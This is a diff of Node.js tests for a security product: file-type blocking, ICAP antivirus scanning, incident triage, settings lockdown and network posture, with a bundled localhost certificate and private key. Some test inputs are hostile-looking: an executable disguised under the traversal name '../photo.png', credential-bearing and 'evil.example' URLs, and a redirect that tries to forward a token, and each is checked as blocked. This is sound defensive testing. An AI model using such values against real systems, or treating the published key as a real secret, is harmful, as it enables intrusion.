test('genuine expiry preserves readability only while the linked incident is active',async t=>{const now=Date.now();t.mock.timers.enable({apis:['Date'],now});const {api,store,eventId}=await fixture(t),created=await api('/api/device/evidence','POST',evidence(eventId));t.mock.timers.setTime(now+31*86400000);assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin')).status,410);const source=store.db.prepare('SELECT source_event_id FROM protected_evidence').get().source_event_id,incident=await api('/api/admin/incidents','POST',{eventId:source},'admin');assert.equal(incident.status,201);assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=incident-response`,'GET',undefined,'admin')).status,200);assert.equal((await api(`/api/admin/incidents/${incident.body.id}`,'PATCH',{expectedRevision:1,status:'resolved'},'admin')).status,200);assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin')).status,410);});
|
||||
@@ -0,0 +1,18 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {FileTransfersSchema,detectType,inspectFileTransfer} from '../packages/core/file-transfer.mjs';
|
||||
test('actual signatures identify executable families and supported document/media containers',()=>{
|
||||
for(const [hex,type] of [['4d5a','pe'],['7f454c46','elf'],['cffaedfe','macho'],['255044462d','pdf'],['504b0304','zip'],['89504e470d0a1a0a','png'],['ffd8ff','jpeg'],['1f8b','gzip']])assert.equal(detectType(Buffer.from(hex,'hex')),type);
|
||||
assert.equal(detectType(Buffer.from('GIF89a')),'gif');assert.equal(detectType(Buffer.from('RIFFxxxxWEBP')),'webp');assert.equal(detectType(Buffer.from('public UTF-8 ü')),'text');assert.equal(detectType(Buffer.from([0,255])),'unknown');
|
||||
assert.equal(detectType(Buffer.concat([Buffer.from('text prefix'),Buffer.from([0])])),'unknown');
|
||||
});
|
||||
test('renamed executables and MIME disguises cannot bypass magic policy',()=>{
|
||||
const bytes=Buffer.from('MZmalware');const p={fileTransfers:{download:{blockedTypes:['pe']}}};
|
||||
const v=inspectFileTransfer(bytes,p,'download',{filename:'../photo.png',mime:'image/png'});assert.equal(v.decision,'block');assert.equal(v.detectedType,'pe');assert.equal(v.extensionMismatch,true);assert.equal(v.mimeMismatch,true);assert.equal(v.filename,'photo.png');assert.equal(v.size,9);assert.match(v.sha256,/^[a-f0-9]{64}$/);
|
||||
for(const field of ['blockExtensionMismatch','blockMimeMismatch'])assert.equal(inspectFileTransfer(bytes,{fileTransfers:{download:{[field]:true}}},'download',{filename:'photo.png',mime:'image/png'}).decision,'block');
|
||||
});
|
||||
test('direction-specific limits, allowlists and unknown coverage are centrally enforceable',()=>{
|
||||
for(const settings of [{maxBytes:1},{allowTypes:['pdf']},{blockUnknown:true}])assert.equal(inspectFileTransfer(Buffer.from([0,255]),{fileTransfers:{upload:settings}},'upload').decision,'block');
|
||||
assert.equal(inspectFileTransfer(Buffer.from('public'),{fileTransfers:{download:{allowTypes:['text']}}},'download').decision,'allow');
|
||||
const parsed=FileTransfersSchema.parse({});assert.equal(parsed.download.allowWithoutMalwareScanner,false);assert.throws(()=>FileTransfersSchema.parse({upload:{allowTypes:['exe']}}));
|
||||
});
|
||||
Vendored
+19
@@ -0,0 +1,19 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDJTCCAg2gAwIBAgIUb9FhkNIJogUJwbSsuu7zo7lLjfUwDQYJKoZIhvcNAQEL
|
||||
BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTI2MTAxMjIxNDI0OVoXDTM2MTAw
|
||||
OTIxNDI0OVowFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBIjANBgkqhkiG9w0BAQEF
|
||||
AAOCAQ8AMIIBCgKCAQEAn69Vq8q1tl1EOFCKi6Bq5mKsLfrLYZyaZbO46SEklODv
|
||||
G0EqTakc4sRH7Ht181nsmE8BeaVVB2uRlEBKlczVwUfi9Kxkh6geNDBwUpV6HSN0
|
||||
z2SZhsbimv0vsogiJ8nDld0X06tjw+ipZsiDRvjH2dFJTKJms5HB7J4KxnrbmJ4n
|
||||
V+b0Xleqlc3mEZ6K2iaTm3MEZuhTqe+HmV0jykpYKwaVLNl1SkQpuCEB0AIOKfVF
|
||||
qenkldQYX0+xMKWSQjCOdENLx9Eqrcs29R0g+wDHQIpGOb9sW4rCouIRp+O17ccs
|
||||
R98oAm0x2RQ8OcZq9DHwcLmg6Op19HIT8Ja4r2+jmwIDAQABo28wbTAdBgNVHQ4E
|
||||
FgQU037P88Sc5WEXjwSgS2U896fLZmcwHwYDVR0jBBgwFoAU037P88Sc5WEXjwSg
|
||||
S2U896fLZmcwDwYDVR0TAQH/BAUwAwEB/zAaBgNVHREEEzARgglsb2NhbGhvc3SH
|
||||
BH8AAAEwDQYJKoZIhvcNAQELBQADggEBACixKy7R7haPWJ97fpSq0o5YTw948GGa
|
||||
Z7aOZoAz59fA6x30dd02xO0BZegcgAd9uJBgX7q435BJ+magcj9Q/xZFy9OjcsCv
|
||||
kAdc+CkqtH2dZjA7S4wxxyvDmgVD6I7XBgq5f2D0PE8MYCG8BIdH/4y+VOee+M4l
|
||||
SmIgIK3eUo9Os/7bVPu0qGdWHJWq6krLj533ieYS41iaLH+UBcLad2qSVRuIyzWO
|
||||
Ld0ujtXLeAS1tXVtHu0LfmbYbZEI41NVybPgkIfEhI0ynssxNgbDfh2IqV6YO+yX
|
||||
/9Aa7DsDFS/Uac/Jhl7bQEp1aU+EirR8c59+YezKHCofyvdtFTo9gF4=
|
||||
-----END CERTIFICATE-----
|
||||
Vendored
+28
@@ -0,0 +1,28 @@
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCfr1WryrW2XUQ4
|
||||
UIqLoGrmYqwt+sthnJpls7jpISSU4O8bQSpNqRzixEfse3XzWeyYTwF5pVUHa5GU
|
||||
QEqVzNXBR+L0rGSHqB40MHBSlXodI3TPZJmGxuKa/S+yiCInycOV3RfTq2PD6Klm
|
||||
yING+MfZ0UlMomazkcHsngrGetuYnidX5vReV6qVzeYRnoraJpObcwRm6FOp74eZ
|
||||
XSPKSlgrBpUs2XVKRCm4IQHQAg4p9UWp6eSV1BhfT7EwpZJCMI50Q0vH0Sqtyzb1
|
||||
HSD7AMdAikY5v2xbisKi4hGn47XtxyxH3ygCbTHZFDw5xmr0MfBwuaDo6nX0chPw
|
||||
lrivb6ObAgMBAAECggEABO1zK6mbW9+a6FChRde9v2g8v0Ulm4MqnIgkOkVvNzeN
|
||||
s/3vIUBeXNJeac9m1LXqAB/dVXSi9WdTXGDI1xXgDrvPfBS0cXSK92Sl7VZ20zQH
|
||||
Ob3KowcQx7mXtt75NthvXvjYmwvcjey9tXyV2Hh61PTery0KavDM1tFgVxREIdHL
|
||||
Dv+TKbf8F5NHP9c3QYCbP11VIOGLfo8V/ZVTrojtEvhEywrE3WRY2gbobFiABM96
|
||||
wbND2g+UnT87mHKscIWkpOc9dEczyPlmRiLgKPaaJkw1b2yHgKgJoljuHt0cTleT
|
||||
bPF+D9fAiT885iK3Lg+xT2peehb0cnhZKWl4ytKaQQKBgQDU32rDlFgTrefrkEv6
|
||||
arNGMNlRSu46d5r6giPJTQ9AU/Thn1Lvjq1UsoF02rcGAUoCeRgPTM0cAv09WWC8
|
||||
hfW7g7VUVa/cFkFxUIFMm1CIo+B7XSUSZH/95AoMieJmgfsMMVwwQN3nwCqGNqIh
|
||||
v8PU8rJxPXYVCTJ/DDY2tYk3uwKBgQDACVivCwDAsWCJUmJq3/YDc46KMeAkk4R1
|
||||
NS9R0H1uhdd1nNsNPomCe4FzUDvsBHHDOzJu4LUgHz4MwWt1QGryr5aSR6P6eVhU
|
||||
aCp0e9zqUWzwKrYVShlKCNNRumT/JnFka8yOWf5MzEW4ifaBkGPkKQt2KZtMnH7L
|
||||
ezAVaX/VoQKBgH/7mwrfY1zhj7A23xc9k28960pOzI/mXQ0DtVRPuj2ovG/yBED2
|
||||
/QsRD3gcDzHTEJYQDAEW4bJXsb1ywRBXUfhdJWYA5mxiDRJ9nl9aeb7NGCfTRnia
|
||||
Z8FTmx8Sv0V2HGOmQZDZTxEIngh3TF8SFkEvcU1X8GiRUQTFaMrXthoFAoGANIwa
|
||||
LUO4gAHJZaoabh48hjM/pMcDC18mVqAoA54mRHDxRSiXtCcRn5fGE1S4INwSeRag
|
||||
tUBdr5188CaZDeuDmEa9z+c0kpxTtD0QqPEfwSpowcseKfMtullx4aI8cqkFTDJH
|
||||
NgigEkmvJlDyF//3pX4pubqm2S7Vbz6VKLbGmSECgYBjCPGqoNi4pQ+Olt/Wx7pK
|
||||
HzRp8o6aDzNToAZTg9/ybJFnXzD7GtRCeI+ubbYDZGmyj39n1I5h3y2KwuCzo5Up
|
||||
5ufSUQR3Hfiv/YiaaS8clrgdvcCw2U/4rAMPq5fvB+7LVZb755RaZ3WALkKO8OMQ
|
||||
QGcrm42aN1rXppaS9ATmrg==
|
||||
-----END PRIVATE KEY-----
|
||||
@@ -0,0 +1,38 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import net from 'node:net';
|
||||
import tls from 'node:tls';
|
||||
import fs from 'node:fs';
|
||||
import {createRequire} from 'node:module';
|
||||
const {scanIcap,probeIcap}=createRequire(import.meta.url)('../apps/browser/icap-client.cjs');
|
||||
const cert=fs.readFileSync(new URL('./fixtures/icap/cert.pem',import.meta.url));
|
||||
const key=fs.readFileSync(new URL('./fixtures/icap/key.pem',import.meta.url));
|
||||
async function fixture(t,{secure=false,response='ICAP/1.0 204 No Content\r\nISTag: "fixture"\r\n\r\n',allow=true,methods='RESPMOD, REQMOD',fragment=false}={}) {
|
||||
const requests=[]; const sockets=new Set();
|
||||
const handler=socket=>{sockets.add(socket);socket.on('error',()=>{});socket.on('close',()=>sockets.delete(socket));let input=Buffer.alloc(0),done=false;
|
||||
socket.on('data',chunk=>{input=Buffer.concat([input,chunk]);const boundary=input.indexOf('\r\n\r\n');if(done||boundary<0)return;
|
||||
const options=input.subarray(0,7).toString()==='OPTIONS';
|
||||
if(!options&&!input.subarray(-5).equals(Buffer.from('0\r\n\r\n')))return;
|
||||
done=true;requests.push(Buffer.from(input));
|
||||
const output=options?`ICAP/1.0 200 OK\r\nMethods: ${methods}\r\nISTag: "fixture"\r\n${allow?'Allow: 204\r\n':''}Encapsulated: null-body=0\r\n\r\n`:response;
|
||||
if(output===null)return;
|
||||
if(fragment){socket.write(output.slice(0,18));setTimeout(()=>socket.end(output.slice(18)),5);}else socket.end(output);
|
||||
});};
|
||||
const server=secure?tls.createServer({key,cert},handler):net.createServer(handler);
|
||||
await new Promise(resolve=>server.listen(0,'127.0.0.1',resolve));
|
||||
t.after(async()=>{for(const socket of sockets)socket.destroy();await new Promise(resolve=>server.close(resolve));});
|
||||
return {requests,config:{url:`${secure?'icaps':'icap'}://127.0.0.1:${server.address().port}/av`,method:'RESPMOD',allow204:true,timeoutMs:500,maxBytes:1024}};
|
||||
}
|
||||
test('full-message fragmented ICAP exchange allows unchanged bytes and omits private metadata',async t=>{
|
||||
const f=await fixture(t,{fragment:true});const bytes=Buffer.from('public fixture');const r=await scanIcap(bytes,f.config);
|
||||
assert.equal(r.decision,'allow');assert.equal(r.coverage.complete,true);assert.equal(r.bytes,bytes.length);
|
||||
const scan=f.requests[1].toString();assert.match(scan,/RESPMOD .* ICAP\/1.0/);assert.match(scan,/Allow: 204/);assert.match(scan,/Encapsulated: res-hdr=0, res-body=\d+/);assert.ok(scan.endsWith('e\r\npublic fixture\r\n0\r\n\r\n'));assert.ok(!scan.includes('Preview:'));
|
||||
});
|
||||
test('REQMOD has genuine request-header and request-body sections',async t=>{const f=await fixture(t);f.config.method='REQMOD';assert.equal((await scanIcap(Buffer.from('abc'),f.config)).decision,'allow');assert.match(f.requests[1].toString(),/req-hdr=0, req-body=\d+/);assert.match(f.requests[1].toString(),/POST \/scan\/object HTTP\/1.1/);});
|
||||
test('server adaptations and threat headers block the original',async t=>{for(const response of ['ICAP/1.0 200 OK\r\nEncapsulated: res-hdr=0, res-body=99\r\n\r\nHTTP/1.1 403 Forbidden','ICAP/1.0 204 No Content\r\nISTag: "fixture"\r\nX-Infection-Found: Type=0; Threat=fixture;\r\n\r\n']){const f=await fixture(t,{response});assert.equal((await scanIcap(Buffer.from('abc'),f.config)).decision,'block');}});
|
||||
test('204 requires explicit signed opt-in and server capability agreement',async t=>{const f=await fixture(t);f.config.allow204=false;assert.equal((await scanIcap(Buffer.from('abc'),f.config)).decision,'block');const g=await fixture(t,{allow:false});assert.equal((await scanIcap(Buffer.from('abc'),g.config)).ruleId,'icap-capability');assert.equal(g.requests.length,1);});
|
||||
test('unsupported service and malformed duplicate headers fail closed',async t=>{const f=await fixture(t,{methods:'REQMOD'});assert.equal((await probeIcap(f.config)).ready,false);const g=await fixture(t,{response:'ICAP/1.0 204 No Content\r\nISTag: "one"\r\nISTag: "two"\r\n\r\n'});assert.equal((await scanIcap(Buffer.from('abc'),g.config)).coverage.complete,false);});
|
||||
test('deadline destroys stalled sockets, oversized content is never transmitted',async t=>{const f=await fixture(t,{response:null});f.config.timeoutMs=60;assert.equal((await scanIcap(Buffer.from('abc'),f.config)).ruleId,'icap-unavailable');f.config.maxBytes=2;assert.equal((await scanIcap(Buffer.from('abc'),f.config)).ruleId,'icap-oversize');});
|
||||
test('ICAPS validates CA and hostname and never accepts untrusted certificates',async t=>{const f=await fixture(t,{secure:true});assert.equal((await scanIcap(Buffer.from('abc'),f.config)).decision,'block');assert.equal((await scanIcap(Buffer.from('abc'),f.config,{ca:cert})).decision,'allow');assert.equal((await probeIcap(f.config,{ca:cert})).tls,true);});
|
||||
test('URL credentials, query strings and nonloopback plaintext require safe configuration',async()=>{for(const url of ['icap://user:secret@localhost/av','icap://localhost/av?token=secret','icap://example.com/av','icap://127.evil.example/av','icap://localhost:0/av','http://localhost/av'])assert.equal((await scanIcap(Buffer.from('abc'),{url})).decision,'block');});
|
||||
test('input mutation cannot alter bytes during negotiation and malformed oversized headers block',async t=>{const f=await fixture(t);const input=Buffer.from('abc');const pending=scanIcap(input,f.config);input.fill(120);assert.equal((await pending).decision,'allow');assert.ok(f.requests[1].includes(Buffer.from('3\r\nabc\r\n0\r\n\r\n')));const g=await fixture(t,{response:'ICAP/1.0 204 No Content\r\nX-Excess: '+ 'a'.repeat(33000)+'\r\n\r\n'});assert.equal((await scanIcap(Buffer.from('abc'),g.config)).coverage.complete,false);});
|
||||
@@ -0,0 +1,9 @@
|
||||
import test from 'node:test';import assert from 'node:assert/strict';import {mkdtempSync,rmSync} from 'node:fs';import {tmpdir} from 'node:os';import {join} from 'node:path';import {openStore,digest} from '../apps/server/store.mjs';import {createApp} from '../apps/server/app.mjs';
|
||||
async function fixture(t){const dir=mkdtempSync(join(tmpdir(),'safetynet-incidents-')),store=openStore(dir),origin='http://127.0.0.1:4310',server=createApp(store,{publicUrl:origin}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});return {store,api:async(path,method='GET',body,role='operator')=>{const token=`synthetic-incident-${role}-credential-1234567890`;store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(token),Date.now()+60000,JSON.stringify({sub:role,role}));const r=await fetch(`http://127.0.0.1:${server.address().port}/api/admin/incidents${path}`,{method,headers:{cookie:`sn_session=${token}`,origin,'content-type':'application/json'},body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};}};}
|
||||
test('incident creates once from immutable event and detail strips payloads',async t=>{const {store,api}=await fixture(t);store.event('device','upload.blocked',{ruleId:'confidential',host:'example.test',prompt:'secret synthetic prompt',document:'secret synthetic document'});const a=await api('','POST',{eventId:1,severity:'high'});assert.equal(a.status,201);assert.equal(a.body.revision,1);assert.equal(a.body.event.metadata.prompt,undefined);assert.equal(a.body.event.metadata.document,undefined);assert.equal((await api('','POST',{eventId:1})).status,409);assert.equal((await api('','POST',{eventId:999})).status,404);const d=await api('/'+a.body.id);assert.equal(d.body.history.length,1);assert.equal(store.db.prepare('SELECT kind FROM events WHERE id=1').get().kind,'upload.blocked');assert.equal((await api('','POST',{eventId:2})).status,400);});
|
||||
test('triage is revision bound and comments remain outside ordinary audit/SIEM',async t=>{const {store,api}=await fixture(t);store.event(null,'clipboard.blocked',{});const a=await api('','POST',{eventId:1});const id=a.body.id,comment='Contacted owner; synthetic investigation note.';const b=await api('/'+id,'PATCH',{expectedRevision:1,status:'investigating',assignee:'analyst-sub',comment});assert.equal(b.status,200);assert.equal(b.body.revision,2);assert.equal((await api('/'+id,'PATCH',{expectedRevision:1,status:'resolved'})).status,409);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2})).status,400);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,comment:'x'.repeat(1001)})).status,400);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,comment:'\u0000bad'})).status,400);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,document:'payload'})).status,400);const d=await api('/'+id);assert.equal(d.body.history[1].comment,comment);const audit=store.db.prepare("SELECT metadata FROM events WHERE kind='incident.updated'").get().metadata;assert.equal(audit.includes(comment),false);assert.equal(JSON.parse(audit).commentLength,comment.length);assert.equal(JSON.parse(audit).commentSha256,undefined);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,assignee:'bad\nsubject'})).status,400);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,status:'resolved',assignee:null})).status,200);assert.equal((await api('/'+id,'PATCH',{expectedRevision:3,status:'open'})).status,200);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM incident_changes').get().n,4);});
|
||||
test('auditor cannot triage and unrecognized routes never gain permissions',async t=>{const {store,api}=await fixture(t);store.event(null,'dns.blocked',{});const a=await api('','POST',{eventId:1});assert.equal((await api('','GET',null,'auditor')).status,200);assert.equal((await api('/'+a.body.id,'GET',null,'auditor')).status,200);assert.equal((await api('','POST',{eventId:1},'auditor')).status,403);assert.equal((await api('/'+a.body.id,'PATCH',{expectedRevision:1,status:'resolved'},'auditor')).status,403);assert.equal((await api('/'+a.body.id,'DELETE')).status,403);assert.equal((await api('/not-a-uuid')).status,400);});
|
||||
test('filters and pagination are bounded and deterministic',async t=>{const {store,api}=await fixture(t);for(let i=0;i<3;i++){store.event(null,'upload.blocked',{});const source=store.db.prepare("SELECT id FROM events WHERE kind='upload.blocked' ORDER BY id DESC LIMIT 1").get();await api('','POST',{eventId:source.id,severity:i===0?'low':'high'});}const first=await api('?limit=1&severity=high');assert.equal(first.body.incidents.length,1);assert.ok(first.body.nextBefore);const next=await api('?limit=1&severity=high&before='+first.body.nextBefore);assert.equal(next.body.incidents.length,1);assert.notEqual(first.body.incidents[0].id,next.body.incidents[0].id);assert.equal(next.body.nextBefore,null);assert.equal((await api('?status=resolved')).body.incidents.length,0);assert.equal((await api('?limit=101')).status,400);assert.equal((await api('?status=bogus')).status,400);});
|
||||
test('audit failure rolls back case creation and triage history atomically',async t=>{const {store,api}=await fixture(t);store.event(null,'upload.blocked',{});const emit=store.event;store.event=()=>{throw Error('synthetic audit unavailable');};assert.equal((await api('','POST',{eventId:1})).status,500);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM incident_cases').get().n,0);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM incident_changes').get().n,0);store.event=emit;const created=await api('','POST',{eventId:1});store.event=()=>{throw Error('synthetic audit unavailable');};assert.equal((await api('/'+created.body.id,'PATCH',{expectedRevision:1,status:'resolved'})).status,500);assert.equal(store.db.prepare('SELECT revision,status FROM incident_cases').get().revision,1);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM incident_changes').get().n,1);store.event=emit;});
|
||||
|
||||
test('real resolved incident retains source and immutable history through event retention',async t=>{const {store,api}=await fixture(t);store.event(null,'upload.blocked',{ruleId:'confidential'});const source=store.db.prepare('SELECT id FROM events ORDER BY id DESC LIMIT 1').get().id;const created=await api('','POST',{eventId:source});const resolved=await api('/'+created.body.id,'PATCH',{expectedRevision:1,status:'resolved',comment:'Synthetic resolution note'});assert.equal(resolved.status,200);store.db.prepare('UPDATE events SET time=?').run('2020-01-01T00:00:00.000Z');const {pruneAuditEvents}=await import('../apps/server/audit-retention.mjs');const result=pruneAuditEvents(store,{days:30,exportedThrough:100,dryRun:false});assert.ok(result.eligible>0);const detail=await api('/'+created.body.id);assert.equal(detail.status,200);assert.equal(detail.body.status,'resolved');assert.equal(detail.body.event.id,source);assert.equal(detail.body.history.length,2);assert.equal(detail.body.history[1].comment,'Synthetic resolution note');assert.equal(store.db.prepare('SELECT kind FROM events WHERE id=?').get(source).kind,'upload.blocked');});
|
||||
@@ -0,0 +1,27 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {createRequire} from 'node:module';
|
||||
import {mkdtempSync,mkdirSync,writeFileSync,rmSync,symlinkSync} from 'node:fs';
|
||||
import {tmpdir} from 'node:os';
|
||||
import path from 'node:path';
|
||||
const {privateInspectorPaths}=createRequire(import.meta.url)('../apps/browser/inspection.cjs');
|
||||
function fixture(t,packaged=false){
|
||||
const root=mkdtempSync(path.join(tmpdir(),'safetynet-inspector-paths-'));
|
||||
const python=path.join(root,packaged?'python/python.exe':'.runtime/windows/python/python.exe'),script=path.join(root,packaged?'inspector/server.py':'apps/inspector/server.py');
|
||||
for(const file of [python,script]){mkdirSync(path.dirname(file),{recursive:true});writeFileSync(file,'synthetic fixture');}
|
||||
t.after(()=>{assert.ok(path.resolve(root).startsWith(path.resolve(tmpdir())+path.sep));assert.ok(path.basename(root).startsWith('safetynet-inspector-paths-'));rmSync(root,{recursive:true,force:true});});
|
||||
return {root,python,script};
|
||||
}
|
||||
test('inspector accepts only its own staged or packaged runtime and source',t=>{
|
||||
for(const packaged of [false,true]){const f=fixture(t,packaged);assert.deepEqual(privateInspectorPaths(f.root,packaged,{}),{python:f.python,script:f.script});assert.deepEqual(privateInspectorPaths(f.root,packaged,{SAFETYNET_PYTHON:f.python,SAFETYNET_INSPECTOR_SCRIPT:f.script}),{python:f.python,script:f.script});}
|
||||
});
|
||||
test('external runtime and parser overrides are rejected without launching or granting access',t=>{
|
||||
const f=fixture(t),other=fixture(t);
|
||||
assert.equal(privateInspectorPaths(f.root,false,{SAFETYNET_PYTHON:other.python}),null);
|
||||
assert.equal(privateInspectorPaths(f.root,false,{SAFETYNET_INSPECTOR_SCRIPT:other.script}),null);
|
||||
assert.equal(privateInspectorPaths(path.join(f.root,'missing'),false,{}),null);
|
||||
});
|
||||
test('a linked installation root cannot redirect grants to another tree',t=>{
|
||||
const f=fixture(t),link=path.join(f.root,'linked-root');symlinkSync(f.root,link,process.platform==='win32'?'junction':'dir');
|
||||
assert.equal(privateInspectorPaths(link,false,{}),null);
|
||||
});
|
||||
@@ -0,0 +1,19 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {createServer} from 'node:http';
|
||||
import {createRequire} from 'node:module';
|
||||
const {postLoopback}=createRequire(import.meta.url)('../apps/browser/loopback-http.cjs');
|
||||
async function server(t,handler){const s=createServer(handler).listen(0,'127.0.0.1');await new Promise(r=>s.on('listening',r));t.after(()=>new Promise(r=>s.close(r)));return s.address().port;}
|
||||
test('private local requests use direct authenticated loopback transport',async t=>{
|
||||
const port=await server(t,(req,res)=>{assert.equal(req.headers.authorization,'Bearer test-capability');assert.equal(req.url,'/inspect');let body='';req.on('data',data=>body+=data);req.on('end',()=>{assert.deepEqual(JSON.parse(body),{content:'private fixture'});res.end(JSON.stringify({decision:'allow'}));});});
|
||||
assert.equal((await postLoopback({port,route:'/inspect',token:'test-capability',body:{content:'private fixture'},signal:AbortSignal.timeout(2000)})).body.decision,'allow');
|
||||
});
|
||||
test('redirects cannot forward local capabilities or content',async t=>{
|
||||
let forwarded=0;const target=await server(t,(_req,res)=>{forwarded++;res.end('{}');});
|
||||
const port=await server(t,(_req,res)=>{res.writeHead(307,{location:`http://127.0.0.1:${target}/capture`});res.end('{}');});
|
||||
await assert.rejects(postLoopback({port,route:'/inspect',token:'private-capability',body:{content:'private'},signal:AbortSignal.timeout(2000)}),/redirects/);assert.equal(forwarded,0);
|
||||
});
|
||||
test('oversized scanner replies fail closed',async t=>{
|
||||
const port=await server(t,(_req,res)=>res.end(JSON.stringify({data:'x'.repeat(4096)})));
|
||||
await assert.rejects(postLoopback({port,route:'/inspect',token:'test-capability',body:{},maxResponseBytes:100,signal:AbortSignal.timeout(2000)}),/budget/);
|
||||
});
|
||||
@@ -0,0 +1,32 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {createRequire} from 'node:module';
|
||||
const {settingsState,sectionAllowed,featureAllowed,requireSection,validateAppearance}=createRequire(import.meta.url)('../apps/browser/managed-settings.cjs');
|
||||
const policy=(settings={})=>({expiresAt:new Date(Date.now()+60000).toISOString(),browser:{settings}});
|
||||
test('managed settings reject direct access before enrollment, while paused and after policy expiry',()=>{
|
||||
for(const context of [{ready:true},{policy:policy(),ready:false},{policy:{...policy(),expiresAt:new Date(0).toISOString()},ready:true}]){
|
||||
const state=settingsState(context);assert.equal(state.visible,false);assert.throws(()=>requireSection(state,'appearance'));
|
||||
}
|
||||
});
|
||||
test('hidden and locked sections deny operations while other sections remain available',()=>{
|
||||
const state=settingsState({ready:true,policy:policy({hiddenSections:['passwords'],lockedSections:['documentScan']})});
|
||||
assert.throws(()=>requireSection(state,'passwords'));assert.throws(()=>requireSection(state,'documentScan'));assert.equal(sectionAllowed(state,'ai'),true);assert.equal(sectionAllowed(state,'invented'),false);
|
||||
});
|
||||
test('global hidden settings reject every direct section operation',()=>{
|
||||
const state=settingsState({ready:true,policy:policy({visible:false})});
|
||||
for(const section of ['appearance','library','ai','passwords','documentScan','agents'])assert.throws(()=>requireSection(state,section));
|
||||
});
|
||||
test('signed appearance replaces local overrides immediately when locked or hidden',()=>{
|
||||
const appearance={mode:'dark',accent:'violet',tabMode:'compact'},preferences={mode:'light',accent:'blue',tabMode:'separate'};
|
||||
for(const constraints of [{visible:false},{hiddenSections:['appearance']},{lockedSections:['appearance']}])assert.deepEqual(settingsState({ready:true,policy:policy({...constraints,appearance}),preferences}).appearance,appearance);
|
||||
assert.deepEqual(settingsState({ready:true,policy:policy({appearance}),preferences}).appearance,preferences);
|
||||
});
|
||||
test('appearance updates reject malformed values, unknown fields and prototype-shaped payloads',()=>{
|
||||
for(const value of [null,[],{},'dark',{mode:'auto'},{accent:'red'},{tabMode:'unknown'},{security:false},{__proto__:{mode:'dark'}}])assert.throws(()=>validateAppearance(value));
|
||||
assert.deepEqual(validateAppearance({mode:'system',accent:'teal'}),{mode:'system',accent:'teal'});
|
||||
});
|
||||
|
||||
test('hiding settings preserves approved feature use but explicit hidden or locked features deny access',()=>{
|
||||
const state=settingsState({ready:true,policy:policy({visible:false,hiddenSections:['passwords'],lockedSections:['agents']})});
|
||||
assert.equal(featureAllowed(state,'ai'),true);assert.equal(featureAllowed(state,'documentScan'),true);assert.equal(featureAllowed(state,'passwords'),false);assert.equal(featureAllowed(state,'agents'),false);assert.equal(sectionAllowed(state,'appearance'),false);
|
||||
});
|
||||
@@ -0,0 +1,12 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {createRequire} from 'node:module';
|
||||
const {resolverOptions,evaluatePosture,probeWindows,createNetworkPosture}=createRequire(import.meta.url)('../apps/browser/network-posture.cjs');
|
||||
test('system DNS preserves OS resolution and disables automatic DoH upgrades',()=>assert.deepEqual(resolverOptions(),{enableBuiltInResolver:false,secureDnsMode:'off',secureDnsServers:[]}));
|
||||
test('managed secure DNS has no insecure fallback',()=>{assert.deepEqual(resolverOptions({mode:'secure',templates:['https://dns.example/dns-query{?dns}']}),{enableBuiltInResolver:true,secureDnsMode:'secure',secureDnsServers:['https://dns.example/dns-query{?dns}']});for(const templates of [[],['http://dns.example'],['https://user:[email protected]']])assert.throws(()=>resolverOptions({mode:'secure',templates}));});
|
||||
const vpn={required:true,interfaceNames:['Company VPN'],requiredDnsServers:['10.0.0.53']};
|
||||
test('required adapter and DNS must belong to the same active adapter',()=>{assert.equal(evaluatePosture(vpn,[{name:'company vpn',dns:['10.0.0.53']}]).allowed,true);assert.equal(evaluatePosture(vpn,[{name:'Company VPN',dns:[]},{name:'Wi-Fi',dns:['10.0.0.53']}]).allowed,false);assert.equal(evaluatePosture({...vpn,interfaceNames:[]},[]).allowed,false);assert.equal(evaluatePosture(vpn,null).allowed,false);});
|
||||
test('optional VPN makes no OS probe and concurrent checks share bounded work',async()=>{let calls=0;const gate=createNetworkPosture({probe:async()=>{calls++;await new Promise(r=>setTimeout(r,5));return [{name:'Company VPN',dns:['10.0.0.53']}];}});assert.equal((await gate.check({required:false})).allowed,true);assert.equal(calls,0);assert.deepEqual((await Promise.all([gate.check(vpn),gate.check(vpn)])).map(r=>r.allowed),[true,true]);assert.equal(calls,1);});
|
||||
test('failed network probe blocks and cannot approve required posture',async()=>{const gate=createNetworkPosture({probe:async()=>{throw Error('private diagnostic');}});assert.deepEqual(await gate.check(vpn),{allowed:false,reason:'probe-unavailable'});await assert.rejects(probeWindows({platform:'linux'}));});
|
||||
